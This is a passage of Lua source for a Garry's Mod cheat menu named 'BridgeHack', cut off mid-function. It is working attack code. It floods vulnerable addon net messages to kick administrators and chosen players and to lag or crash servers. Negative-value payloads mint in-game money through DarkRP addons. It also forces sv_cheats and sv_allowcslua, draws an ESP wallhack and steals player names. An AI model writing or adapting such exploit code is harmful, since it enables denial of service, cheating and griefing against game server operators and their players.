CreateClientConVar(\"bh_nlr_freeze\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function nlrs()\x0a\x0a\x09if nlr:GetBool() then\x0a\x0a\x09\x09for k,v in pairs(player.GetAll())do\x0a\x0a\x09\x09if v != LocalPlayer() then\x0a\x0a\x09\x09\x09net.Start(\"NLR.ActionPlayer\")\x0a\x0a\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09end\x0a\x0atimer.Create(\"nlrs\", 4,0,nlrs)\x0a\x0a\x0a\x0aLastTime = CurTime()\x0a\x0a\x0a\x0afunction drawdatopscreen() \x0a\x0a\x09if GetConVarNumber(\"bh_notify\") > 0 then\x0a\x0a\x09\x0a\x0a\x09\x09sweg = math.Clamp((CurTime()-LastTime)/20,0,1)\x0a\x0a\x09if sweg == 1 then\x0a\x0a\x09\x09LastTime = CurTime()\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09end\x0a\x0aend\x0a\x0ahook.Add( \"HUDPaint\", \"drawdatopscreen\", drawdatopscreen )\x0a\x0a\x0a\x0aconcommand.Add(\"bh_tp_spawn\",function()\x0a\x0a\x09chatP(\"Teleported to spawn!\")\x0a\x0a\x09consoleP(\"Teleported to spawn!\")\x0a\x0a\x09status(\"Teleported to spawn!\")\x0a\x0a\x09net.Start(\"DarkRP_Kun_ForceSpawn\")\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_check\",function()\x0a\x0aclearcon()\x0a\x0acleardchat()\x0a\x0achatP(\"Checking for exploitable addons...\")\x0a\x0aif HIT then\x0a\x0a\x09chatPG(\"Hitman X | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hitman X | Not Found\")\x0a\x0aend\x0a\x0aif HitMenu then\x0a\x0a\x09chatPG(\"Hit Menu | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hit Menu | Not Found\")\x0a\x0aend\x0a\x0aif BAIL then\x0a\x0a\x09chatPG(\"BailNPC | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"BailNPC | Not Found\")\x0a\x0aend\x0a\x0aif dLogs then\x0a\x0a\x09chatPG(\"DLOGS | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"DLOGS | Not Found\")\x0a\x0aend\x0a\x0aif ChanNum then\x0a\x0a\x09chatPG(\"MXRadio| Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MXRadio | Not Found\")\x0a\x0aend\x0a\x0aif VC_Menu_Info_Panel_Build then\x0a\x0a\x09chatPG(\"VCMD | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"VCMD | Not Found\")\x0a\x0aend\x0a\x0aif MDE then\x0a\x0a\x09chatPG(\"MDE | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MDE | Not Found\")\x0a\x0aend\x0a\x0aif NLR then\x0a\x0a\x09chatPG(\"NLR | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"NLR | Not Found\")\x0a\x0aend\x0a\x0aif Warnings_for_kick then\x0a\x0a\x09chatPG(\"ULX Extended | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"ULX Extended | Not Found\")\x0a\x0aend\x0a\x0a\x0a\x0aend)\x09\x0a\x0a\x0a\x0afunction reloadeddunkalladmins()\x0a\x0aclearcon()\x0a\x0achatP(\"KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)\")\x0a\x0atimer.Create( \"heymnangng\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif v:Nick() != \"Gam\" then\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP('Kicked: '.. v:Nick().. \"!\")\x0a\x0aend end end end)end\x0a\x0aconcommand.Add( \"bh_mx_kickadmins\", reloadeddunkalladmins, SVersionCheck )\x0a\x0a\x0a\x0afunction dloglag()\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server.\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server..\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server...\")\x0a\x0atimer.Create( \"dlogsisfucked\", 3, 0, function()\x0a\x0afor i=0, 7000 do\x0a\x0alocal tosend = {\x0a\x0a\x09cmd=\"+forward\",\x0a\x0a\x09args=\" \"\x0a\x0a\x09\x0a\x0a\x09}\x0a\x0a\x09net.Start('dLogsGetCommand')\x0a\x0a\x09net.WriteTable(tosend)\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend end) end\x0a\x0a\x0a\x0aconcommand.Add( \"bh_dlogs_lag\", dloglag, SVersionCheck )\x0a\x0aconcommand.Add( \"bh_dlogs_lag_off\", function()\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"Stopping the lag...\")\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"dlogisfucked\")\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_admins\", function()\x0a\x0aclearcon()\x0a\x0achatP(\"Listing non-players..\")\x0a\x0achatP(\"Check console.\")\x0a\x0aconsoleP(\"============= ULX | Custom admin mode RANKS ============\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09print(v:Nick().. \" | \".. v:GetUserGroup())\x0a\x0a\x09\x09end\x0a\x0aend\x0a\x0aconsoleP(\"========================================================\")\x0a\x0aend)\x0a\x0a\x0a\x0alocal Spammer = CreateClientConVar(\"bh_advert\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function Spam()\x0a\x0a\x09if Spammer:GetBool() then\x0a\x0a\x09\x09RunConsoleCommand(\"say\", \"/advert I AM TOO COOL FOR SCHOOL !!!!!!\") --Whatever you want\x0a\x0a\x09end end\x0a\x0atimer.Create(\"Spam\", 1.5,0,Spam)\x0a\x0a\x0a\x0alocal player2kick = CreateClientConVar(\"g_mx_playername\", \" \", true, false)\x0a\x0afunction kickdaplayer()\x0a\x0atimer.Create( \"heymnangng2\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif v:Nick() == GetConVar(\"g_mx_playername\") then\x0a\x0aclearcon()\x0a\x0aprint(\"Kicking: \")\x0a\x0aprint(v:Nick())\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP(\"Kicked \".. v:Nick())\x0a\x0aconsoleP(\"Kicked \".. v:Nick())\x0a\x0aend end end) end\x0a\x0aconcommand.Add( \"bh_mx_kickplayer\", kickdaplayer, SVersionCheck )\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearcon\",function()\x0a\x0a\x09clearcon()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"Bh_clearchat\",function()\x0a\x0a\x09cleardchat()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_3dcardealer_spamstore\",function()\x0a\x0a\x09chatP(\"You better be looking at a car\")\x0a\x0a\x09for i=0,100 do\x0a\x0a\x09clearcon()\x0a\x0a\x09chatP(\"Spamming store... \"..\"[\"..i..\"]\")\x0a\x0a\x09net.Start( \"RXCAR_Shop_Sell_C2S\" )\x0a\x0a\x09\x09net.WriteTable({EAA=sweg, CDAA})\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_serverlist\",function()\x0a\x0a\x09status(\"Printing lise to console...\")\x0a\x0a\x09chatP(\"Check console.\")\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"\"..serverlist..\"\")\x0a\x0a\x09status(\"Complete\")\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0afunction CheckAE()\x0a\x0a\x09\x0a\x0a\x09if requestTables then\x0a\x0a\x09\x09print(\"ae found, bh_ae will work\")\x0a\x0a\x09\x09chatP(\"AE was found, bh_ae will work.\")\x0a\x0a\x09else\x0a\x0a\x09\x09chatP(\"AE was not found, bh_ae will not work.\")\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_aecheck\", CheckAE, SVersionCheck)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ae_kickadmins\",function()\x0a\x0aclearcon()\x0a\x0achatP(\"Attempting to Kick admins\")\x0a\x0achatP(\"This will only work on admins+\")\x0a\x0atimer.Create( \"aekickdaskids\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif( v:GetUserGroup() != \"vip\" ) then\x0a\x0afor i=0, 1000 do\x0a\x0anet.Start('plyWarning')\x0a\x0a\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09net.WriteString('You have to select a player before doing a action.')\x0a\x0a\x09\x09net.SendToServer()\x0a\x0aend\x0a\x0achatP('Attempting to kick: '.. v:Nick().. \"!\")\x0a\x0a\x0a\x0aend end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_on\",function()\x0a\x0a\x09status(\"Running Script: Random Name Change [name steal]....\")\x0a\x0a\x09\x0a\x0a\x09timer.Create(\"startNAMECHANGEsteal\", 0.12, 0, function()\x0a\x0a\x09\x09local plylastname = ply:Nick()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09status(\"Trying Name change to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09if ligger_type1 == ligger_type then\x0a\x0a\x09\x09\x09\x09status(\"Name Changing to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09if plylastname == v:Nick() then\x0a\x0a\x09\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09\x09else\x0a\x0a\x09\x09\x09\x09\x09ply:ConCommand(\"darkrp name \" .. v:Nick() .. math.random(1,10))\x0a\x0a\x09\x09\x09\x09\x09status(\"Changed Name to \" .. v:Nick() .. \" - \" .. v:SteamID())\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09local ligger_type = math.random(1,2)\x0a\x0a\x09\x09\x09\x09local ligger_type1 = math.random(1,2)\x0a\x0a\x09\x09\x09end end end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_namesteal_off\",function()\x0a\x0a\x09timer.Destroy(\"startNAMECHANGEsteal\",0.12,0,function()\x0a\x0a\x09end) end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_removelookingat\",function()\x0a\x0a\x09chatP(\"Removing prop looking at...\")\x0a\x0a\x09net.Start( \"MDE_RemoveStuff_C2S\" ) \x0a\x0a\x09\x09net.WriteTable( {DATA=\"\",TARGET=sweg} ) \x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"__bh_lagdarkrpdashit\",function()\x0a\x0a\x09chatP(\"Starting the lag...\")\x0a\x0a\x09timer.Create(\"lag\"..BridgeHack.RandomVar, 1, 0, function()\x0a\x0a\x09\x09for i=1,10000 do\x0a\x0a\x09\x09\x09net.Start(\"DarkRP_spawnPocket\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09status(\"PROGRESS[10000/10000]\")\x0a\x0a\x09\x09\x0a\x0a\x09\x09end) end)\x0a\x0a\x09\x09\x0a\x0aconcommand.Add( \"__bh_stopplag\",function( )\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"lag\"..BridgeHack.RandomVar)\x0a\x0aend)\x0a\x0a\x0a\x0aif dspam == true then\x0a\x0a\x09chatP(\"Spam split / make shipment ON\")\x0a\x0a\x09timer.Create(\"spamdashit\"..BridgeHack.RandomVar,0.1,function()\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09if v.Entity:GetString() == \"spawned_shipment\" then \x0a\x0a\x09\x09\x09\x09status(\"Splitting shipment\") \x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"splitshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09elseif v.Entity:GetClassName() == \"spawned_weapon\" then \x0a\x0a\x09\x09\x09\x09status(\"Making shipment\")\x0a\x0a\x09\x09\x09\x09RunConsoleCommand(\"darkrp\",\"makeshipment\",v.Entity:EntIndex())\x0a\x0a\x09\x09\x09end end end) end\x0a\x0a\x09\x09\x09\x0a\x0aif dspam == false then \x0a\x0a\x09chatP(\"Spam split / make shipment OFF\")\x0a\x0a\x09timer.Simple(1,function()\x0a\x0a\x09\x09timer.Destroy(\"spamdashit\"..BridgeHack.RandomVar,function()\x0a\x0a\x09\x09end) end) end\x0a\x0a\x09\x09\x0a\x0aconcommand.Add(\"bh_kun_ziptie_untie\",function()\x0a\x0a\x09chatP(\"Untieing...\")\x0a\x0a\x09for i=0,30 do \x0a\x0a\x09\x09net.Start(\"Kun_ZiptieStruggle\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"___darkrpshipments\", function()\x0a\x0a\x09if dspam != true then\x0a\x0a\x09\x09dspam = true\x0a\x0a\x09elseif dspam == true then\x0a\x0a\x09\x09dspam = false\x0a\x0a\x09end end)\x0a\x0a\x0a\x0alocal function BridgeHackCHECK(v) \x0a\x0a\x09if v:Alive() == true && v:Health() ~= 0 && v:Health() >= 0 && v ~= LocalPlayer() && LocalPlayer():Alive() then\x0a\x0a\x09\x09return true\x0a\x0a\x09else\x0a\x0a\x09\x09return false\x0a\x0a\x09end end\x0a\x0a\x0a\x0ahook.Add(\"HUDPaint\", \"JESP\", function() \x0a\x0a\x09for k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if GetConVarNumber(\"bh_esp\") > 0 then\x0a\x0a\x09\x09\x09if(v ~= LocalPlayer() and BridgeHackCHECK(v)) then\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_renderdistance_enable\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09if LocalPlayer():GetPos():Distance(v:GetPos()) < GetConVarNumber(\"bh_esp_rdistance\") then\x0a\x0a\x09\x09\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09\x09\x09local infocolor = Color(255,0,255)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09\x09\x09end end\x0a\x0a\x09\x09\x09\x09else \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local PlayerESP = (v:EyePos()):ToScreen()\x0a\x0a\x09\x09\x09\x09local infocolor = Color(0,255,0)\x0a\x0a\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09draw.DrawText(v:Name(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -46, team.GetColor(v:Team()), TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_rank\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:GetUserGroup(), \"BudgetLabel\", PlayerESP.x, PlayerESP.y -23, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_hp\") > 0 then\x0a\x0a\x09\x09\x09\x09\x09local infocolor = Color(GetConVarNumber(\"bh_esp_infocolor_r\"),GetConVarNumber(\"bh_esp_infocolor_g\"),GetConVarNumber(\"bh_esp_infocolor_b\"))\x0a\x0a\x09\x09\x09\x09\x09draw.DrawText(v:Health() .. \" HP\", \"BudgetLabel\", PlayerESP.x, PlayerESP.y -34, infocolor, TEXT_ALIGN_LEFT, TEXT_ALIGN_LEFT)\x0a\x0a\x09\x09\x09\x09end\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local col = team.GetColor(v:Team()) -- looped into esp (square box) \x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09local min, max = v:WorldSpaceAABB()\x0a\x0a\x09\x09\x09\x09min, max = min:ToScreen(), max:ToScreen()\x0a\x0a\x09\x09\x09\x09local h = (min.y / 2) - (max.y / 2)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09surface.SetDrawColor(col.g, col.b, col.r)\x0a\x0a\x09\x09\x09\x09\x0a\x0a\x09\x09\x09\x09if GetConVarNumber(\"bh_esp_box\") > 0 then \x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10, max.y + (min.y / 75), h, h)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-.5, max.y + (min.y / 75)-.5, h+1, h+1)\x0a\x0a\x09\x09\x09\x09\x09surface.DrawOutlinedRect(max.x +h/10-1, max.y + (min.y / 75)-1, h+2, h+2)\x0a\x0a\x09\x09\x09\x09end end end end end end)\x0a\x0a\x0a\x0afunction blur_on()\x0a\x0a\x09DrawMaterialOverlay( \"Models/effects/comball_tape\", 0.5 )\x0a\x0aend \x0a\x0a\x0a\x0afunction blur_off()\x0a\x0a\x09DrawMaterialOverlay( \"\", 0.1 )\x0a\x0aend\x0a\x0a\x0a\x0aconcommand.Add(\"+bh_menu\", function( ply ) \x0a\x0a\x09status(\"Menu Opened.\")\x0a\x0a\x09if GetConVarNumber(\"bh_menu_effects\") == 1 then\x0a\x0a\x09\x09hook.Add( \"RenderScreenspaceEffects\", \"BlurBG\", blur_on )\x0a\x0a\x09end\x0a\x0a--[[\x0a\x0a\x09mainmenu\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09THE MAIN\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09MENU\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09STARTS\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09\x0a\x0a\x09HERE\x0a\x0a\x09\x0a\x0a\x09|\x0a\x0a\x09V\x0a\x0a]]--\x0a\x0alocal menu = DermaMenu() \x0a\x0amenu:Center()\x0a\x0amenu:AddOption( \"BridgeHack \"..dlversion, function() \x0a\x0a\x09AboutMenu()\x0a\x0aend ):SetImage( \"icon16/shield.png\" )\x0a\x0amenu:AddSpacer()\x0a\x0afunction menu:Paint( w, h )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(255,255,255,150), true, true, true, true )\x0a\x0a\x09draw.RoundedBoxEx( 4, 0, 0, w, 22, Color(255,137,0,200), true, true, false, false )\x0a\x0a\x09surface.SetDrawColor( 0,0,0 )\x0a\x0a\x09surface.DrawOutlinedRect( 0, 0, w, h)\x0a\x0aend\x0a\x0alocal ForcingMenu, optMenu = menu:AddSubMenu(\"Client-side Forcing\")\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_allowcslua 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Forced SV_ALLOWCSLUA TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0aForcingMenu:AddOption( \"Force sv_cheats 1\", function() \x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Forced SV_CHEATS TO 1\")\x0a\x0aend):SetImage( \"icon16/link_error.png\" )\x0a\x0a\x0a\x0alocal ESP = menu:AddSubMenu(\"ESP\")\x0a\x0a\x0a\x0aESP:AddOption( \"[ON] ESP\", ESP_on):SetImage( \"icon16/group_add.png\" )\x0a\x0aESP:AddOption( \"[OFF] ESP\", ESP_off):SetImage( \"icon16/group_delete.png\" )\x0a\x0a\x0a\x0alocal Speed = menu:AddSubMenu(\"Speed\")\x0a\x0aSpeed:AddOption( \"[ON] SpeedHack\", speedhack_on):SetImage( \"icon16/lightning_go.png\" )\x0a\x0aSpeed:AddOption( \"[OFF] SpeedHack\", speedhack_off):SetImage( \"icon16/lightning_delete.png\" )\x0a\x0a\x0a\x0a\x0a\x0alocal NameStealSub = menu:AddSubMenu( \"Name Stealing/Changing\" )\x0a\x0aNameStealSub:AddOption( \"[ON] Name Steal\", function()\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_on\")\x0a\x0aend ):SetImage( \"icon16/book_addresses.png\" )\x0a\x0a\x0a\x0aNameStealSub:AddOption( \"[OFF] Name Steal\", function()\x0a\x0a\x09status(\"Stopped Script: Random Name Change [name steal]\")\x0a\x0a\x09ply:ConCommand(\"bh_namesteal_off\")end ):SetImage( \"icon16/book.png\" )\x0a\x0a\x09\x0a\x0alocal MoneyExploits = menu:AddSubMenu( \"DarkRP Money Explots\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Drug Sell\",function()\x0a\x0a\x09\x09for i=1,1000 do\x0a\x0a\x09\x09\x09net.Start(\"Kun_SellDrug\")\x0a\x0a\x09\x09\x09net.WriteString(\"Meth\")\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] Taxi Driver Money\",function()\x0a\x0a\x09\x09chatp(\"Giving money\")\x0a\x0a\x09\x09net.Start(\"Taxi_Add\")\x0a\x0a\x09\x09\x09net.WriteString(\"MLG\")\x0a\x0a\x09\x09\x09net.WriteTable({-1333.647461, -1473.931763, -139.968750})\x0a\x0a\x09\x09\x09net.WriteFloat(-99999999)\x0a\x0a\x09\x09\x09net.WriteString(Desc)\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] SS Shelf NET\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09for k,v in pairs(ents.GetAll()) do \x0a\x0a\x09\x09\x09swag = v \x0a\x0a\x09\x09end\x0a\x0a\x09\x09net.Start( 'NET_SS_DoBuyTakeoff' ) \x0a\x0a\x09\x09\x09net.WriteEntity(LocalPlayer()) \x0a\x0a\x09\x09\x09net.WriteEntity(swag) \x0a\x0a\x09\x09\x09net.WriteTable({'spawned_weapon'}) \x0a\x0a\x09\x09\x09net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16) \x0a\x0a\x09\x09\x09net.SendToServer() \x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HITMAN MONEY\",function() \x0a\x0a\x09\x09chatP(\"Attempting to give money..\")\x0a\x0a\x09\x09net.Start( \"DaHit\" )\x0a\x0a\x09\x09\x09net.WriteFloat( -1000000000000000000000 )\x0a\x0a\x09\x09\x09--net.WriteFloat( tm )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09\x09net.WriteEntity( LocalPlayer() )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x09\x0a\x0a\x09MoneyExploits:AddOption( \"[$$] HHH MONEY\",function()\x0a\x0a\x09\x09local ply = LocalPlayer()\x0a\x0a\x09\x09for k,v in pairs(player.GetAll()) do \x0a\x0a\x09\x09\x09dahater = v\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09local hitRequest = {}\x0a\x0a\x09\x09hitRequest.hitman = ply\x0a\x0a\x09\x09hitRequest.requester = ply\x0a\x0a\x09\x09hitRequest.target = dahater\x0a\x0a\x09\x09hitRequest.reward = 100000000\x0a\x0a\x09\x09\x0a\x0a\x09\x09net.Start( 'hhh_request' )\x0a\x0a\x09\x09\x09net.WriteTable( hitRequest )\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09\x09\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] BOONPC\",function()\x0a\x0a\x09\x09net.Start('BuyCar')\x0a\x0a\x09\x09net.WriteFloat(-1000000000000)\x0a\x0a\x09\x09net.WriteEntity(LocalPlayer())\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.WriteString(\"BridgeHack\")\x0a\x0a\x09\x09net.SendToServer()\x0a\x0a\x09end):SetImage( \"icon16/coins_add.png\" )\x0a\x0a\x09\x0a\x0a\x09MoneyExploits:AddOption(\"[$$] Hitman X Menu\",function()\x0a\x0a\x09local frame = vgui.Create( \"DFrame\" )\x0a\x0a\x09\x09frame:Center()\x0a\x0a\x09\x09frame:SetSize( 200,150 )\x0a\x0a\x09\x09frame:SetTitle( \"\" )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09function frame:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 255, 255, 255, 150) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 20, Color( 240, 85, 0, 220), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack Hitman X Menu\", \"Default\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local playerMenu = vgui.Create( \"DComboBox\", frame )\x0a\x0a\x09\x09playerMenu:SetPos( 10,40 )\x0a\x0a\x09\x09playerMenu:SetSize( 120,20 )\x0a\x0a\x09\x09playerMenu:SetText( \"Select a Player\")\x0a\x0a\x09for k, v in pairs( player.GetAll() ) 